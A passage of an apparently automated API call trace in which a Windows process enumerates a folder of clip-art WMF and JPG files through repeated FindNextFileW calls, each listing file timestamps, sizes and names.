ftLastAccessTime.dwLowDateTime=0x6607e0d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x852fb100, ftLastWriteTime.dwHighDateTime=0x1be4927, nFileSizeHigh=0x0, nFileSizeLow=0x244a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0215709.WMF", cAlternateFileName="")) returned 1 [0257.426] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87920b00, ftCreationTime.dwHighDateTime=0x1be4927, ftLastAccessTime.dwLowDateTime=0x565a9290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x87920b00, ftLastWriteTime.dwHighDateTime=0x1be4927, nFileSizeHigh=0x0, nFileSizeLow=0x45a2, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0215710.WMF", cAlternateFileName="")) returned 1 [0257.427] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95e02700, ftCreationTime.dwHighDateTime=0x1be4927, ftLastAccessTime.dwLowDateTime=0x565a9290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x95e02700, ftLastWriteTime.dwHighDateTime=0x1be4927, nFileSizeHigh=0x0, nFileSizeLow=0x15f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0215718.WMF", cAlternateFileName="")) returned 1 [0257.427] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6607e0d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa783, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0216112.JPG", cAlternateFileName="")) returned 1 [0257.427] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x565a9290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5474, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0216153.JPG", cAlternateFileName="")) returned 1 [0257.427] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x565a9290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa488, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0216540.WMF", cAlternateFileName="")) returned 1 [0257.427] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6607e0d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x60dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0216570.WMF", cAlternateFileName="")) returned 1 [0257.427] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x565cf3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1f46, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0216600.WMF", cAlternateFileName="")) returned 1 [0257.428] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x565cf3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x24e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0216612.WMF", cAlternateFileName="")) returned 1 [0257.428] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6607e0d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x9b3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0216874.WMF", cAlternateFileName="")) returned 1 [0257.428] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6607e0d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1484, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0217262.WMF", cAlternateFileName="")) returned 1 [0257.428] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x565cf3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xd9a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0217302.WMF", cAlternateFileName="")) returned 1 [0257.428] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x565cf3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1ca8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0217872.WMF", cAlternateFileName="")) returned 1 [0257.429] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6607e0d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8ad6, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0227419.JPG", cAlternateFileName="")) returned 1 [0257.429] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x565cf3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xe2e9, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0227558.JPG", cAlternateFileName="")) returned 1 [0257.429] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaccb1700, ftCreationTime.dwHighDateTime=0x1be8602, ftLastAccessTime.dwLowDateTime=0x565cf3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xaccb1700, ftLastWriteTime.dwHighDateTime=0x1be8602, nFileSizeHigh=0x0, nFileSizeLow=0x65a6, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0228823.WMF", cAlternateFileName="")) returned 1 [0257.429] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x565cf3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x918c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0228959.WMF", cAlternateFileName="")) returned 1 [0257.429] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6607e0d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1daa, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0230553.WMF", cAlternateFileName="")) returned 1 [0257.430] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6607e0d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1066, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0230558.WMF", cAlternateFileName="")) returned 1 [0257.430] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660a4230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x332a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0232171.WMF", cAlternateFileName="")) returned 1 [0257.430] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22d8c500, ftCreationTime.dwHighDateTime=0x1be1ff6, ftLastAccessTime.dwLowDateTime=0x565f5550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x22d8c500, ftLastWriteTime.dwHighDateTime=0x1be1ff6, nFileSizeHigh=0x0, nFileSizeLow=0x6bc2, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0232393.WMF", cAlternateFileName="")) returned 1 [0257.430] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcaa1c300, ftCreationTime.dwHighDateTime=0x1be1ff5, ftLastAccessTime.dwLowDateTime=0x660a4230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcaa1c300, ftLastWriteTime.dwHighDateTime=0x1be1ff5, nFileSizeHigh=0x0, nFileSizeLow=0xa086, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0232395.WMF", cAlternateFileName="")) returned 1 [0257.430] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5779c00, ftCreationTime.dwHighDateTime=0x1be05ef, ftLastAccessTime.dwLowDateTime=0x660a4230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5779c00, ftLastWriteTime.dwHighDateTime=0x1be05ef, nFileSizeHigh=0x0, nFileSizeLow=0x380a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0232795.WMF", cAlternateFileName="")) returned 1 [0257.431] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb6d7d00, ftCreationTime.dwHighDateTime=0x1be05ef, ftLastAccessTime.dwLowDateTime=0x660a4230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb6d7d00, ftLastWriteTime.dwHighDateTime=0x1be05ef, nFileSizeHigh=0x0, nFileSizeLow=0x899c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0232797.WMF", cAlternateFileName="")) returned 1 [0257.431] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e804d00, ftCreationTime.dwHighDateTime=0x1be05ef, ftLastAccessTime.dwLowDateTime=0x565f5550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e804d00, ftLastWriteTime.dwHighDateTime=0x1be05ef, nFileSizeHigh=0x0, nFileSizeLow=0x4de6, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0232803.WMF", cAlternateFileName="")) returned 1 [0258.236] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x565f5550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x26e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0233512.WMF", cAlternateFileName="")) returned 1 [0258.236] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660a4230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x312c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0233665.WMF", cAlternateFileName="")) returned 1 [0258.236] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x64f43f00, ftCreationTime.dwHighDateTime=0x1be809a, ftLastAccessTime.dwLowDateTime=0x660a4230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x64f43f00, ftLastWriteTime.dwHighDateTime=0x1be809a, nFileSizeHigh=0x0, nFileSizeLow=0x975e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0233992.WMF", cAlternateFileName="")) returned 1 [0258.237] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f727e00, ftCreationTime.dwHighDateTime=0x1be7b5a, ftLastAccessTime.dwLowDateTime=0x660a4230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6f727e00, ftLastWriteTime.dwHighDateTime=0x1be7b5a, nFileSizeHigh=0x0, nFileSizeLow=0xcec6, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0234000.WMF", cAlternateFileName="")) returned 1 [0258.237] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97fc7700, ftCreationTime.dwHighDateTime=0x1be7b5e, ftLastAccessTime.dwLowDateTime=0x565f5550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x97fc7700, ftLastWriteTime.dwHighDateTime=0x1be7b5e, nFileSizeHigh=0x0, nFileSizeLow=0x4b40, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0234001.WMF", cAlternateFileName="")) returned 1 [0258.237] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660a4230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x80d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0234376.WMF", cAlternateFileName="")) returned 1 [0258.237] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660a4230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xcba0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0237225.WMF", cAlternateFileName="")) returned 1 [0258.237] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24625400, ftCreationTime.dwHighDateTime=0x1be8fbc, ftLastAccessTime.dwLowDateTime=0x565f5550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x24625400, ftLastWriteTime.dwHighDateTime=0x1be8fbc, nFileSizeHigh=0x0, nFileSizeLow=0x5700, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0237228.WMF", cAlternateFileName="")) returned 1 [0258.237] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660a4230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x60c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0237336.WMF", cAlternateFileName="")) returned 1 [0258.238] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660ca390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x51be, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0237759.WMF", cAlternateFileName="")) returned 1 [0258.238] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x565f5550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x59a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0238333.WMF", cAlternateFileName="")) returned 1 [0258.238] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660ca390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1334, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0238927.WMF", cAlternateFileName="")) returned 1 [0258.238] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x565f5550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1d3c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0238959.WMF", cAlternateFileName="")) returned 1 [0258.238] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660ca390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x13b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0238983.WMF", cAlternateFileName="")) returned 1 [0258.239] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x565f5550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1284, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0239057.WMF", cAlternateFileName="")) returned 1 [0258.239] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x565f5550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x16fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0239063.WMF", cAlternateFileName="")) returned 1 [0258.239] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x565f5550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1294, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0239079.WMF", cAlternateFileName="")) returned 1 [0258.239] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5661b6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1464, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0239191.WMF", cAlternateFileName="")) returned 1 [0258.239] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5661b6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8424, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0239611.WMF", cAlternateFileName="")) returned 1 [0258.240] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660ca390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1314, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0239935.WMF", cAlternateFileName="")) returned 1 [0258.240] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660ca390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1418, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0239941.WMF", cAlternateFileName="")) returned 1 [0258.240] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660ca390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1998, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0239943.WMF", cAlternateFileName="")) returned 1 [0258.240] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5661b6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, 